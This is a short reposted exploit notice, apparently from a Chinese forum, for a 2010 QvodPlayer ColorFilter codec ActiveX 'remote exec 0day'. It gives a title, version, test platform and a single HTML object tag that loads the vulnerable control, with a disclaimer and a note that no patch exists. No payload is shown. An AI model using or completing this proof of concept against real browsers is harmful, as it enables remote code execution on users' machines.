QvodPlayer ColorFilter Codec ActiveX Remote Exec 0day POC

以下代码可能带有攻击性。风险自负。与本站无关。

1. # Exploit Title: QvodPlayer ColorFilter Codec ActiveX Remote Exec 0day POC
   
2. # Date: 2010.01.19
   
3. # Author: superli
   
4. # Software Link: http://www.qvod.com/
   
5. # Version: 3.5.0
   
6. # Tested on: xpsp3 ie6
   
7. # most of the video player contain the ColoeFilter codec which offered by qvodplayer,including bobohu,qqplayer and so on.
   
8. # Code :
   
9. <object id=TestObj classid="CLSID:{432F118C-DB79-4561-9799-CC95EA78208B}" style="width:100;height:350"></object>
   
10. // 51gho.com [2010-01-19]

复制代码

PS:QVOD的一处漏洞。官方未给出补丁。等待官方更新、